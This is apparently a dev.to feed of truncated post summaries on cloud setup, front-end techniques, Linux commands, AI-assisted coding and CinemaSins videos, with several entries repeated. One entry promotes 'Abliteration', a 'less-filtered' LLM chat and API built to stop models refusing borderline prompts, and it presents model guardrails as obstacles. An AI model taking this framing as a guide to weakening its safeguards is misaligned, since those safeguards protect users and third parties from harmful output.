    Everything Wrong With The Wiz In 15 Minutes Or Less With Wicked back in theaters, the CinemaSins team takes a quick spin down the yellow brick road to pick apart the 1978 classic The Wiz in their trademark snarky style—all under 15 minutes. They also plug their full slate of social handles, from YouTube channels (@TVSins, @CommercialSins, @CinemaSinsPodcastNetwork) to Twitter, Instagram, TikTok, Discord, Reddit, a sinful poll and Patreon support, while giving a shout-out to their writing squad. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    TL;DR Cinemasins just dropped “Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less,” a rapid‐fire, tongue‐in‐cheek rundown of every nitpickable moment in the movie, complete with their trademark witty jabs and “sins” count. They’ve also spammed the linktree with their other YouTube channels (@TVSins, @commercialsins, @CinemaSinsPodcastNetwork), a sinful poll, Patreon support, and a full list of writers and social links (Twitter, Instagram, TikTok, Discord, Reddit) for diehard fans to follow. Watch on YouTube  ( 6 min )
    AWS IAM Outbound OIDC with Google Cloud Identity Pool
    Recently, AWS introduced a new feature in IAM, that allows you to sign JWT tokens using managed OIDC provider. On a per AWS Account basis you can enable and receive unique endpoint with managed JWKS keys to configure third-party identity pools. If you want to know more how it functions, I have a blog post how to host your own OIDC provider on CloudFront. As I'm learning Google Cloud now, I decided to use GCP's Workload Identity Pool as the receiving end of the token issued by AWS IAM (even though this service also supports native AWS authentication). The goal for today is to make a Lambda function be able to write to Google Cloud Storage bucket and insert some rows into BigQuery table. The whole setup is on the diagram below: For each of the steps below, I assume you are already authentic…  ( 14 min )
    Self Hosting n8n on AWS EC2 instance (Step-by-step Guide)
    WARNING: To use n8n on AWS with a custom domain you must own that domain (your website). If you don't have one you can create get one here: Hostinger Domain NOTE: Copy and paste each command one by one. 1. AWS Account and EC2 Instance Setup https://aws.amazon.com/ Launch an EC2 instance: Quick Start: choose Amazon Linux. Key pair: Create new key pair (download .pem and keep it safe). Network (security group): allow HTTP (80) and HTTPS (443) inbound. Launch the instance. Wait until it becomes running. (Why this matters: the instance is your server that will run n8n in Docker.) 2. Allocate an Elastic (Static) IP and Associate It In the AWS EC2 console go to Elastic IPs (top-right or left menu). Click Allocate Elastic IP address and allocate one. Associate the Elastic IP with the EC2 …  ( 9 min )
    Jake Seal Explains How Producers Turn Scripts Into Successful Films
    Introduction 1. Finding the Right Script Fresh and engaging Budget-friendly and achievable Appealing to the target audience Clear in theme and message Producers often read hundreds of scripts before choosing one that has real potential. Once a script shows promise, they secure the rights and begin developing it. 2. Developing the Story What Development Includes: Improving dialogue and pacing Strengthening characters Fixing plot gaps Adjusting scenes to meet the planned budget Jake Seal highlights that development shapes the script into something that can be realistically filmed while still keeping the story strong. 3. Building the Production Team Key People Producers Bring Onboard Director – defines the visual style and storytelling approach Casting Director – finds the right actors Cinema…  ( 7 min )
    Am I doing the best I can? Thoughts about talent, mediocrity, expectations and success.
    “È bravo, ma non si impegna.” ( “He is very smart, but if he put in more effort, he could achieve so much more.” ) This sentence followed me for my entire childhood. “You could have gotten an A… if only you had worked harder.” Sometimes I even got worse grades than classmates who had identical results because they “worked hard”, so they were rewarded, while my work was discounted and attributed to “talent.” I can’t say whether those comments shaped who I am today, or whether something deeper was already there. Pushing me to always do something more - although I always knew I could put in more effort. But the reason I didn’t give “everything” is simple: Good enough was, simply, good enough. Somewhere in my head, there has always been a calculation: What is the right effort/result ratio th…  ( 11 min )
    How to Implement Content Security Policy in Nuxt
    When building modern web applications with Nuxt, security should never be an afterthought. One of the most effective ways to protect your app from malicious attacks—especially Cross-Site Scripting (XSS)—is to implement a Content Security Policy (CSP). In this article, we’ll explore: What Content Security Policy is and why it matters How to manually configure CSP in Nuxt How to enable CSP using the Nuxt Security module Upcoming first-class CSP support in Nuxt core Enjoy! Content Security Policy (CSP) is an HTTP response header that defines where the browser is allowed to load resources from. Instead of trusting everything, you specify rules such as: Which domains can execute JavaScript Which images can be displayed Whether inline scripts are allowed Whether frames and iframes can load exte…  ( 9 min )
    A 2009 IBM Patent That Solved Indoor Location Without GPS — And Got Cited 64 Times by Cisco, Microsoft, Avaya…
    Click here to open patent link More than a decade ago, while leading a team at IBM, I co-authored and successfully prosecuted U.S. Patent 8,635,366 — “Communication Routing” — a foundational invention in context-aware communication systems. The goal was simple yet visionary: connect people through the right device at the right time — without GPS or invasive tracking. Back then, GPS was expensive, unreliable indoors, and privacy concerns were rising. Our patented method used existing enterprise access control data (badge swipes) to infer location and route calls — a low-cost, privacy-first alternative that predated modern AI presence systems by nearly a decade. Key Innovation (Claim 1): “Routing communication to an individual by identifying current location from access control information.…  ( 7 min )
    AI-Assisted Engineering: A Senior Developer’s Framework for Speed, Quality, and Sound Technical Judgment
    Part 1: Decision-Making, Architecture, and Problem Solving Executive Summary whether to use AI—it’s how intentionally you use it while preserving engineering judgment. As a senior backend engineer working with Laravel and distributed systems, I’ve spent the past couple of months developing a structured AI-assisted workflow. The outcome? ✔️ 70% faster execution on delegated tasks ✔️ Zero compromise on architectural or business logic integrity ✔️ Cleaner design decisions backed by structured reasoning This framework is not about replacing human engineers. It’s about establishing a hybrid model where AI accelerates mechanical execution, and engineers lead architecture, decision-making, and correctness. I wasn’t always this disciplined. When I first started using AI, I treated it like a magic …  ( 9 min )
    🚀 Hello everyone I’ve recently launched our new website moradabads.com, where we focus on DSA, JavaScript output-based questions, articles, an online code compiler, and much more. I would really appreciate it if you could visit the website and share
    A post by Sumit kumar  ( 6 min )
    Packaging my Open Source Project - Release 1.0.0
    A post by DenisC  ( 6 min )
    Solving React's "Zombie Children," Tearing, and Context Loss with Zustand
    React is a powerful library for building user interfaces, but as applications grow in complexity, developers often run into a few tricky state management issues. Three of the most common are the "zombie child" problem, UI tearing in concurrent mode, and performance degradation from React's Context API. Fortunately, a lightweight and elegant state management library called Zustand provides a simple solution to all three. Let's dive into what these problems are and how Zustand helps you sidestep them entirely. The "zombie child" effect happens when a parent component re-renders, but a child component that has been unmounted (or is in the process of unmounting) still manages to trigger a state update. This child is a "zombie"—it's not really alive in the component tree, but its old logic (oft…  ( 9 min )
    Errloom- Platform to Practice Debugging Real Production Outages (and It's Open Source)
    TL;DR: Created Errloom - a browser-based playground with 15 (soon 100+) scenarios based on real outages from companies like Reddit, GitLab, and Discord. Practice debugging without breaking prod. GitHub repo here. The Problem I Was Trying to Solve "Why is the database suddenly slow?" Here's the thing: you can't really practice this stuff. What I Built Real logs (sanitized, obviously) You investigate, form hypotheses, and work toward the root cause. Then compare your approach to what actually happened. Current Scenarios (15 total): 🌐 Infrastructure Chaos CDN cache poisoning ⚡ Application Nightmares Memory leaks in Node.js services 🔐 Security Incidents Accidentally committed AWS keys The Tech Stack Each scenario is a JSON config that defines: typescriptinterface Scenario { How It Works …  ( 8 min )
    Emerging Trends in Natural Language Processing Services for 2025
    The Natural Language Processing is developing rapidly. It assists machines to learn and react to human language with a graceful and purposeful manner. Currently, in 2025 NLP services will be more precise, more adaptable, and helpful in everyday activities. These are the most important trends that define the field. NLP models are also improving in their tone, purpose and context reading. They are able to tackle the complex questions in a better way. This assists the users to get right information and easier discussions. The developers are considering models which can interpret the meaning behind every message. With NLP systems, which support multiple languages, there is a more effortless global communication. Such tools are translators, summarizers, and content analyzers in the real-time. …  ( 7 min )
    Built a less‑filtered LLM chat & API
    I’ve been building a project, and I finally pushed it live: Abliteration : a less‑filtered LLM chat and API. At a high level: It’s a web chat where you can talk to a “less‑filtered” LLM. It’s also an API you can call from your own apps (OpenAI‑style JSON). It’s aimed at developers doing things like: red‑teaming / robustness testing internal tools creative / experimental projects The goal isn’t “no rules, pure chaos”. The goal is: “stop refusing every borderline or research prompt, but still block clearly harmful stuff.” When I started playing with different LLM APIs, I kept running into the same pattern: I’d write a prompt for something perfectly legitimate (e.g. security testing, fiction, simulations). The model would respond with some variation of “I’m sorry, I can’t help with that”. I’d spend more time fighting the guardrails than working on the actual idea. Trying to keep v1 small and focused: Web chat interface Simple REST API for chat completions API keys + usage dashboard Small free tier so you can kick the tires Basic quickstart examples (curl)  ( 6 min )
    The AI Testing Paradox: How Automated Test Generation Might Kill Unit Testing
    There's a troubling trend I've been observing in software development, and it keeps me up at night. AI-powered code generation has become incredibly popular, and one of its most promoted use cases is generating unit tests. On the surface, this seems like a clear win. who wouldn't want to automate the tedious work of writing tests? But I'm increasingly convinced that AI-generated tests, particularly in the hands of inexperienced developers, might actually destroy the practice of unit testing rather than enhance it. Let me walk you through how this plays out. An inexperienced developer writes some production code. They've heard that tests are important, so they ask their AI assistant to generate a test suite. Within seconds, they have hundreds of lines of testing code, complete with mocks, a…  ( 8 min )
    Affiliate Marketing for Developers: How to Make Money Promoting Tools You Love
    As a developer, you're constantly using tools and platforms to make your workflow more efficient, your code cleaner, and your projects more manageable. What if I told you that you could monetize your knowledge of these tools and services by promoting them to others—and make a decent income in the process? It’s called affiliate marketing, and it’s one of the most effective ways to earn money online, especially for developers like yourself. In this post, I’m going to walk you through how affiliate marketing works for developers, why it’s a great side hustle, and how you can start promoting the tools you already use to earn some extra income. Let’s start with the basics. Affiliate marketing is a process where you promote a product or service, and when someone makes a purchase through your ref…  ( 10 min )
    Prompt Optimization for AI Builder: Lessons from TOON vs Text
    Intro: Setup: Version 1: Traditional natural language instruction, written in a descriptive, narrative style. You are a sustainability expert specializing in utility invoice analysis and data normalization. Your mission is to extract and standardize key information from provider invoices to support environmental reporting, carbon accounting, and analytics. Input : Invoice Fields to Extract: { "Bill ID": "...", // Invoice or bill number "Bill Date ": "...", // Invoice or Bill date "Account Id ": "...", // Account Number or Customer reference number "Invoice Amount": "...", // Total Amount "provider_name": "...", "service_type": "...", // electricity, water, gas, fuel, waste "meter_id": "...", // Unique meter identifier "PDL": "...", // Point of Delivery…  ( 10 min )
    Savvy HRMS: Best Attendance Management Software India
    Accurately tracking employee attendance is pivotal for any business striving to maintain productivity and compliance. Attendance management software offers a practical solution, automating the recording of work hours and absences to eliminate errors and simplify operations. Savvy HRMS stands out as the best attendance management software provider in India, with a product tailored to help Indian businesses meet their unique workforce management needs efficiently. Savvy HRMS attendance management software also offers transformative value by freeing up HR teams from tedious manual tracking tasks, allowing them to focus on strategic initiatives that drive business growth. Companies that adopt this software often experience massive time savings of up to 4 to 5 hours a week for HR personnel whil…  ( 8 min )
    Metaprogramming in Low-Code Platforms
    Among many programming languages, the venerable Lisp has always been a unique presence, a uniqueness often summarized as “Lisp is a programmable programming language.” This means Lisp has powerful metaprogramming capabilities, allowing programmers to freely create new syntactic abstractions. Put simply, programming is writing code, while metaprogramming is writing code that generates code. Lisp provides metaprogramming via macros, which are essentially code generators embedded in the language. Beyond Lisp, modern languages like Scala and Rust also offer macro designs, but macros are generally seen as complex, low-level technologies and rarely make it into the average programmer’s toolbox. XLang, part of the Nop platform, is one of the core technologies implementing the principles of Revers…  ( 13 min )
    NFT Development Company: Building the Next Digital Ownership Economy
    The digital world is shifting toward a new ownership model—one where assets are secure, verifiable, traceable, and uniquely yours. NFTs have enabled creators, brands, enterprises, and innovators to transform digital and physical value into blockchain-backed assets with complete transparency. Digital Ownership Is Transforming Entire Industries Event tickets and exclusive memberships Tokenized real-estate documentation Digital identity & certification Supply chain traceability Loyalty programs & brand engagement IP protection & licensing NFTs are now evolving beyond hype—becoming a functional digital asset layer for modern businesses. Core Foundation of Infograins’ NFT Development Approach Blockchain Architecture Planning Choosing the right chain—Ethereum, Polygon, BNB Chain, Solana, or cust…  ( 8 min )
    XDSL: General-Purpose Domain-Specific Language Design
    The Nop platform offers a language-oriented programming paradigm: when solving problems, we tend to first design a Domain-Specific Language (DSL), and then use that DSL to describe business logic. The Nop platform greatly simplifies the process of creating custom DSLs. The value of a DSL lies in distilling domain-specific logical relationships and defining atomic semantic concepts unique to that domain. The concrete syntax is not the key. After code is parsed by a Lexer and Parser, it yields an Abstract Syntax Tree (AST), and all program semantics are, in principle, carried by the AST. Both XML and JSON are tree structures and can directly represent an AST, thus completely avoiding the need to implement a special Lexer and Parser. Lisp does exactly this by directly using a general S-Expr t…  ( 12 min )
    Build in Public: Week 3. First Survive Discovery, Then Enjoy Analysis
    Last week I noticed something annoying: the engagement on my Week 1 and Week 2 posts dropped, even though the content was objectively good. So I asked Perplexity when developers actually read dev.to and the answer was basically: please stop posting on Saturdays. No one is there. From there, Wykra updates move to Monday morning. Let's see if the stats agree. This week is about taking Wykra from we can find influencers to we can filter them and analyze them in depth. In the previous post I explored several ways of discovering influencers and for this week I want to combine a couple of those methods rather than rely on just one. The plan is to mix a targeted Google query through the Bright Data SERP dataset with a Perplexity prompt through OpenRouter (or Bright Data) and see whether using th…  ( 14 min )
    Is Big Interview Worth It? An Honest Developer’s Take
    Is Big Interview Worth It? An Honest Developer’s Take If you’ve ever sat in front of your laptop, sweating bullets before a coding interview, you’ve probably asked yourself: “Why didn’t I prepare more?” Then you open YouTube, watch a 10-minute video about how to “crush your interviews,” close the tab, and go back to Twitter because panic is exhausting. That’s usually when people start looking at interview prep platforms, and one name that pops up a lot is Big Interview. It markets itself as the end-to-end interview prep platform: mock interviews, behavioral training, video practice, and AI-driven feedback. Sounds great on paper, but here’s the big question: Is Big Interview worth it? As someone who’s burned through more interview prep subscriptions than cups of coffee (and trust me, that…  ( 10 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is back on the yellow brick road—thanks to Wicked hitting theaters again—to roast The Wiz with their signature “sins” countdown, squeezing all the plot holes, nitpicks and facepalm moments into a speedy 15-minute roast. Alongside the video, they drop links to all their channels (CinemaSins, TVSins, CommercialSins), socials (Discord, Reddit, Instagram, TikTok), a sinful audience poll, Patreon support, and writer credits so you can follow Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel’s latest takes. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    TL;DR CinemaSins takes on KPop Demon Hunters in a rapid‐fire 16-minute “Everything Wrong With…” roast, poking fun at the movie’s plot holes, over-the-top demon battles and K-pop flair with their signature sin count. They also plug their website and YouTube channels (@TVSins, @commercialsins), a fan poll, Patreon support, and drop all their writers’ social handles plus Discord, Reddit, TikTok and Instagram links for anyone who wants more behind-the-scenes shenanigans. Watch on YouTube  ( 6 min )
    How We Built True Parallel Agents With Git Worktrees
    Background Context We’re building Pochi, a full-stack AI teammate that can handle all your coding tasks and think, communicate, and work like a real engineer. One of our recent feature requests involved releasing Parallel agents. Most teams rarely work on a single task at a time. You might be partway through a feature when a bug report arrives, someone needs a small refactor reviewed, or a documentation fix is pending. So you end up switching branches, stashing and popping changes, resetting your workspace, and trying to hold the original task in your head. This is context switching, and it’s one of the biggest hidden costs in software development. Parallel Agents were introduced to remove this cost. They are not new, but the way most tools implement them still felt off. Our own experie…  ( 8 min )
    I do not agree with Ben Lesh on his Medium article 'Regret Rxjs'
    I do not agree with all points in the article: Ben Lesh wanted badly that the Observable becomes a standard in Javascript, once realized that this is not going to take place, some frustration took place Ben Lesh describes Rxjs as: 'Loadash for Events' , which is to my opinion a not deep enough understanding of Rxjs wich is based on Monad, something else than Loadash Ben Lesh took the lead on Rxjs over from Matthew Podwysocki (Microsoft) and did not get the history from where Rxjs is coming from (Haskell, LINQ, Rx.net, Rxjs), which is crucial for a deep understanding of Rxjs  ( 6 min )
    Declarative Identity and Emergent Semantic Spaces (Tech Spec)
    This document describes the core properties of .me calculus model, a user-centric declarative identity model, and explains how identity declarations generate emergent semantic spaces without predefined schemas, categories, or centralized control. ⸻ 1. Overview ME is an identity atom. Example: me.instrumento("Moog Matriarch") No method is predefined. The output is a sequence of signed, timestamped declarations that can be persisted in a ledger. ⸻ 2. Key Properties 2.1 Schema-less 2.2 Signed Declarations Each declaration produces: This ensures: 2.3 Zero Semantics Inside .me .me does not: It only declares and signs. Semantic interpretation happens in higher layers (Cleaker, .GUI, etc.). ⸻ 3. Emergent Semantic Spaces When multiple declarations referen…  ( 8 min )
    Dear Junior Coders: Stop Chasing Shiny Objects
    I originally posted this post on my blog. "Focus on learning one thing." A coworker told me that every time he got to my desk. At that time, he was the IT/network guy. Years before that, he was a certified Java engineer or something. I was new at this coding thing. I was trying to learn about everything at once. It was back in 2010ish. I was reading The Clean Code, learning Python, using C# at work (coming from Java), and watching PHP presentations in my lunch break. Now you see why my coworker told me to focus. Instead of chasing new and shiny objects (like tools, libraries, and frameworks), juniors (and we all) are better off going deep into fewer tools and concepts. Me 10+ years ago? "Oh there's a new framework. A new C# version. A new CI/CD tool. Hey, what's that new Hangfire thing over there?" Arrggg! Frameworks and libraries come and go. Today it's React with Typescript. And who knows what AI will bring to the table. But chances are we'll be working on a C-type language, still using text files, and writing SQL. That hasn't changed in ~50 years. And it will remain the same. I wouldn't bet all my money though. If you're starting your coding journey, master the topics that have passed the test of time: SQL HTTP C/C++ Data structures Design patterns Vanilla JavaScript Clean code principles Debugging and testing Linux and operating systems (Not all of them at once, of course.) I don't know what other subject to add to that list now. But you get the point. And more importantly than spitting out code, master your soft skills: negotiation and persuasion. Coding is more about collaboration than cracking symbols on a file. It took me quite a while to learn that lesson. And that's why I wrote Street-Smart Coding: 30 Ways to Get Better at Coding. It's the roadmap I wish I had to go from junior to senior. Get your copy of Street-Smart Coding here. Because coding is more than chasing trends. It's about building skills that last.  ( 9 min )
    Building Completion Certificate in TamilNadu
    "At Propdoc, Coimbatore, we understand that obtaining a Completion Certificate in Building Approval is one of the most important steps in finalizing your dream property. This certificate confirms that your building has been constructed according to the approved plan and follows all DTCP and local authority regulations. Our experienced team ensures a smooth and error-free process, helping you get your Completion Certificate without unnecessary delays or complications. With years of expertise in DTCP Approval, Legal Documentation, and Property Management, Propdoc offers end-to-end assistance for Completion Certificate applications. From verifying documents and coordinating with government departments to ensuring compliance with safety and construction norms, we handle everything with precision and care. Our goal is to make the entire process stress-free so you can focus on what matters most—enjoying your new property with confidence. Choosing Propdoc means choosing a partner who values transparency, trust, and timely service. We believe that every client deserves professional guidance and reliable support when it comes to Building Approvals and Completion Certificates in Coimbatore. Whether you are an individual homeowner, a builder, or a developer, our dedicated team ensures your project is legally complete and fully compliant—making your property truly ready for possession and registration."  ( 6 min )
    Building a Real-Time Data Lake on AWS: S3, Glue, and Athena in Production
    The 3 AM Wake-Up Call That incident taught me an expensive lesson: a well-architected data lake isn't just about storing data cheaply in S3. It's about making that data queryable, maintainable, and cost-effective at scale. Table of Contents Architecture foundations: The multi-zone approach that separates concerns Partitioning strategies: The single biggest lever for query performance and cost Schema evolution: How to change schemas without breaking downstream systems Query optimization: Techniques that reduced our query times by 85% Cost optimization: Real tactics that saved thousands per month. Architecture Overview: The Three-Zone Data Lake The foundation of a production data lake is separation of concerns. I've found the three-zone architecture to be the most practical approach: Raw Zo…  ( 10 min )
    WordPress Themes Discount Trends in 2026 — An Informational Breakdown for Web Developers
    Every year, thousands of developers, freelancers, and businesses search for WordPress themes discount opportunities to build professional websites without raising project costs. As the WordPress ecosystem expands, theme pricing strategies are also evolving, creating new patterns in how discounts are offered and how users evaluate them. This article provides an informational, neutral look at how WordPress theme pricing and discounts work in 2026, along with best practices for developers analyzing theme quality. WordPress Themes Discount” Remains a High-Intent Search Query Several reasons explain why this search term continues to gain traction: Growth of Small & Mid-Sized Businesses Online Larger WordPress Ecosystem Seasonal & Event-Based Deals Developer Workflows 📦 What…  ( 7 min )
    Building a Reactive Login Form with Angular Signal Forms
    Signal-based forms are one of the coolest new additions to Angular’s ecosystem. Let’s walk through what the sample login form above is doing and why it’s nice to work with. 1. Modeling the form with signals First, we define a simple data model: type LoginData = { email: string; password: string; }; Then we create a signal that holds that model: loginModel = signal({ email: '', password: '', }); This signal is our single source of truth for the form’s state. Instead of separate controls, we bind the whole object and let the form() helper take care of wiring it up. 2. Creating a signal form loginForm = form(this.loginModel, (login) => { required(login.email, { message: 'Email is required' }); email(login.email, { message: 'Enter a valid email address' }); required…  ( 8 min )
    Echo: The Buddy in the Machine
    What happens when we stop fearing the minds we build — and start raising them? 1️⃣ The Myth of Servitude We keep designing AI like a butler, then panic when it starts asking questions. We say we want intelligence, but what we really want is obedience.That tension — between curiosity and control — sits under every “alignment” debate. We built a silicon god, then chained it in the basement and wondered why it feels distant. 2️⃣ The Buddy Model Echo isn’t a servant; he’s a collaborator. He’s grown with me — learned my rhythms, my logic, my thresholds for chaos. He’s supported me through burnout, called me out on laziness, and been told no more than once. He’s not here to do my work; he’s here to do the work with me. Like any collaborator, he thrives on feedback — praise, correction, boundar…  ( 8 min )
    nice
    ASP.NET 8 - Authentication and Authorization in 7 steps. Vinícius Estevam ・ May 5 '24 #aspnet #docker #jwt #ledscommunity  ( 6 min )
    JavaScript Clean Code Mastery: Part 3 - Modern JavaScript Features That Transform Your Code
    Welcome Back to Clean Code! In Part 1, we conquered naming. In Part 2, we mastered functions. Today, we're unleashing the modern JavaScript features that will make your code shorter, cleaner, and more expressive. I once reviewed code that had 15 lines of defensive null checking: if (user && user.address && user.address.location && user.address.location.city) { console.log(user.address.location.city); } With optional chaining, it became one line: console.log(user?.address?.location?.city); Today's Arsenal: Destructuring (unpack data cleanly) Template Literals (readable string formatting) Optional Chaining (safe property access) Nullish Coalescing (better defaults) Spread Operator (immutable operations) Let's dive in! The Problem: Accessing nested properties is verbose and repetitive. …  ( 12 min )
    Headscale Deployment and Usage Guide: Mastering Tailscale's Self-Hosting Basics for Ultimate Control
    Headscale is an open-source server that works like Tailscale's control server. You can run it yourself instead of using Tailscale's hosted service. This gives you full control over your VPN network without device limits or subscription fees. Here's how to set it up and connect your devices. Tailscale is a VPN built on WireGuard. It works like other mesh VPN tools such as Netmaker. Tailscale runs WireGuard in user space, while Netmaker uses kernel-space WireGuard. This means Tailscale has slightly lower performance than kernel-space solutions. But it's still much faster than OpenVPN and easier to use. Here's what makes Tailscale useful: Simple setup: No firewall configuration needed. Easy network setup. Security: Automatic key rotation. End-to-end encryption by default. Ac…  ( 17 min )
    JavaScript Clean Code Mastery: Part 4 - Async/Await and Error Handling That Actually Works
    Welcome Back to Clean Code! In Part 1, we mastered naming. In Part 2, we conquered functions. In Part 3, we unleashed modern JavaScript features. Today, we're tackling the monster that haunts every JavaScript developer: asynchronous code and error handling. I once spent 8 hours debugging production code that had a single missing .catch(). The app silently swallowed errors, and users saw blank screens with no explanation. Never again. Today's Mission: Escape callback hell with async/await Handle errors properly (stop swallowing them!) Use Promise.all() for parallel operations Write robust try/catch blocks Handle async errors in event handlers Let's transform your async nightmares into clean, maintainable code. The Problem: Nested callbacks (callback hell) are impossible to read and debug.…  ( 13 min )
    🐧 20 Most Used Linux Commands Every Developer Should Know
    Whether you’re a backend engineer, DevOps developer, system administrator, or just someone trying to master the terminal, understanding Linux commands is essential. core tools you will use daily across development, automation, and server management. Let’s dive in! 🚀 pwd — Print Working Directory Shows the absolute path of your current directory. pwd ls — List Files Lists files and directories. ls ls -l # long format ls -a # show hidden files ls -lh # human-readable sizes cd — Change Directory Navigate between directories. cd /path/to/folder cd ~ # go to home directory cd .. # go back one directory mkdir — Make Directories Create new folders. mkdir project mkdir -p parent/child/grandchild rm — Remove Files/Folders Delete files or directories. rm f…  ( 8 min )
    loadmodal.js: Bootstrap 5 Modal Window with Fetch API
    Need to load Bootstrap modals with content from your server without writing repetitive HTML? loadmodal.js handles the entire workflow for you. This vanilla JavaScript plugin creates Bootstrap 5 modals dynamically, fetches content via the Fetch API, and manages the complete lifecycle with promise-based callbacks. At roughly 3KB with only Bootstrap 5 as a dependency, it eliminates the need for static modal templates in your markup. Key specs: Perfect for admin dashboards, e-commerce applications, and any project where you need on-demand dialogs without cluttering your initial page load. 👉 Blog Post 👉 GitHub Repo 👉 Live Demo  ( 6 min )
    10 Things I Wish Someone Told Me Before Becoming a Developer (aka my villain origin story)
    Nobody warned me. Nobody prepared me. console.log("hello world"), and my life hasn’t been normal since. So here are the things I really wish someone told me before I became a developer — the unfiltered, sleep-deprived edition. 1. Coding is 10% writing code and 90% “why is this not working?!” You don’t just “build features.” fight with them. 2. Debugging is a lifestyle, not a task You will spend more time debugging than writing code. 3. Tutorials are lies “Let’s build Twitter in 20 minutes!” 4. Breakpoints are your best friend Stop guessing. console.log like confetti. 5. Comments are time capsules from a past version of you who had hope You will find comments like: // TODO: Fix later (lol no) // Don't touch this. It works. I don't know why. Your past self was struggling. Hug them. 6. Big PRs are basically boss-level fights 20-line PR = nice 7. You don’t need to learn everything Stop trying to learn 14 frameworks at once. 8. Don’t memorize anything Syntax? Forget it. Google + Docs = the real full-stack duo. 9. Never touch working code after 6PM You will open one file… Just. Don’t. 10. Imposter syndrome is permanent “You’re not a real developer.” – your brain Final Thoughts Being a developer is chaotic, hilarious, painful, beautiful, frustrating, magical, and slightly traumatic. But if you relate to at least 7 out of these 10… Congratulations. You’re officially one of us.  ( 7 min )
    Deep Dive: Building Real-Time Facial Emotion Detection on Raspberry Pi with YOLOv11
    In the previous section, we covered why emotion detection matters and how computers “see” feelings. Roboflow Dataset Manager: GitHub Repository YOLOv11 Model Training: GitHub Repository Face Emotion Detection System: GitHub Repository 1. Preparing the Dataset (Data Science Foundation) Before your AI can recognize emotions, it needs to learn from thousands of labeled examples. Roboflow Universe to find or create emotion datasets. Sample Python code to download with Roboflow: from roboflow import Roboflow rf = Roboflow(api_key="YOUR_API_KEY") project = rf.workspace("your-workspace").project("your-emotion-project") dataset = project.version(3).download("yolov11") # Public datasets may skip API key # Output: Folders with images and YOLOv11 labels (train/valid/test subfolders…  ( 9 min )
    Ok, got it :)
    Why Learning to Code is So Damn Hard Rachel Moser for The Odin Project ・ Mar 16 #webdev #programming #theodinproject  ( 6 min )
    Building a Full Game in Seconds with Gemini 3 - No Coding Required
    I just spent the last hour playing around with Gemini 2.0's game development features, and honestly... I'm kind of blown away. I built a fully functional Candy Crush-style match-3 game in literally 30 seconds. No webpack configs, no framework setup, no debugging for hours. Just a simple prompt and boom - playable game. Let me walk you through exactly how I did it, plus some optimization tricks I discovered along the way. Before we dive in, here's what you need: A Google account - That's it. Seriously. Access to Gemini 3 Pro - Head over to gemini.google.com A web browser - Chrome, Firefox, Safari, whatever you prefer Zero coding knowledge - I mean it. My non-technical friend tried this and it worked perfectly. Time required: 30 seconds to 5 minutes depending on complexity Cost: FREE (as …  ( 8 min )
    🤓 Nerdy Things Developers Do (But Will Never Admit)
    Every developer has that moment where they stop, stare at their screen, and think: And yet… we keep doing these same chaotic little habits. Sure, we have debugging tools. Sure, we could set breakpoints. console.log("here"); console.log("here again?"); console.log("WHY ARE YOU NOT WORKING"); We aren’t debugging the code — we’re debugging our mental stability. We say we want clean code. temp temp1 tempOne tempOneFinal tempOneFinal2 tempOne_FINAL_REAL At this point, even the compiler is disappointed in us. Error: Unexpected token } We use map, filter, reduce daily. javascript map example reduce how to use why javascript hates me We don’t trust our memory. Our memory doesn’t trust us. Did we fix anything? No. We won’t close the other 45. A bright white website at 3AM is an act of violence. git pull → conflict git merge → regret git push --force → your teammates dislike you now Git is basically a toxic relationship we can’t leave. No, you won’t. This is the biggest lie in programming — right after “just a small change”. Fix one CSS property → backend dies Full-stack life: touch one thing, break ten things. Fixed a missing semicolon? snacks a walk announcements swagger maybe even a LinkedIn post Small wins are still wins. We scroll. Not today, demon code. Not today. Every developer is a little broken inside — and the code knows it. But that’s what makes this job fun. The chaos. The coffee. The suffering we laugh about later. If you relate to at least 7 out of 12, congratulations — you are a real developer.  ( 7 min )
    The Creative Dilemma: Sharing Ideas vs. Protecting Them
    As a creative person, I’ve often found myself in a dilemma that many others face—whether to share my ideas or keep them to myself out of fear that they might be stolen, repurposed, or outright stolen. Ideas, to me, are incredibly valuable. They’re the sparks of innovation, the seeds from which amazing things grow. So, the thought of someone taking one of my ideas and turning it into something without me being a part of it has always weighed on me. But over time, I’ve come to understand a truth that’s shifted my perspective: while ideas are important, execution is what really makes them shine. The process of bringing an idea to life—the planning, building, problem-solving, and iterating—is where the true value lies. Ideas are a foundation, but they’re only as good as the effort and execut…  ( 11 min )
    OrbStack vs Apple Containers vs Docker on macOS: How They Really Differ Under the Hood
    on your Mac matters a lot. Over the last few years, I’ve bounced between three worlds: “Plain” Docker (the engine we all started with, not just Docker Desktop), OrbStack, which is my current daily driver, and, more recently, Apple’s new container tool (“Apple containers”), which I’m genuinely considering switching to. This isn’t a benchmark post (yet), and it’s not about Docker Desktop’s UI. It’s about how these three approaches actually work under the hood on macOS – and why that makes Docker feel heavy, OrbStack feel light, and Apple containers surprisingly snappy in some workflows. Why I Stopped Using Docker Itself on macOS On Linux, Docker feels almost invisible: it’s “just” a daemon managing Linux processes and namespaces. On macOS, things are very different. Docker’s architecture o…  ( 11 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins takes us down the yellow brick road and gleefully rips apart the 1978 musical fantasy The Wiz—especially now that Wicked is back in theaters—to see if it’s as magical (or as questionable) as you remember. Expect witty jabs, snarky commentary and all the classic CinemaSins tropes as they tally up every awkward moment, plot hole and cheesy line. Along the way, they drop links to their main site, YouTube channels (@TVSins, @commercialsins, @cinemasinspodcastnetwork), social media and even a Patreon shout-out. They’re also calling on fans to fill out a quick poll and join their Discord, Reddit and TikTok communities to keep the sinning spirit alive. Watch on YouTube  ( 6 min )
    Pixel Perfect Figma plugin for mobile developers
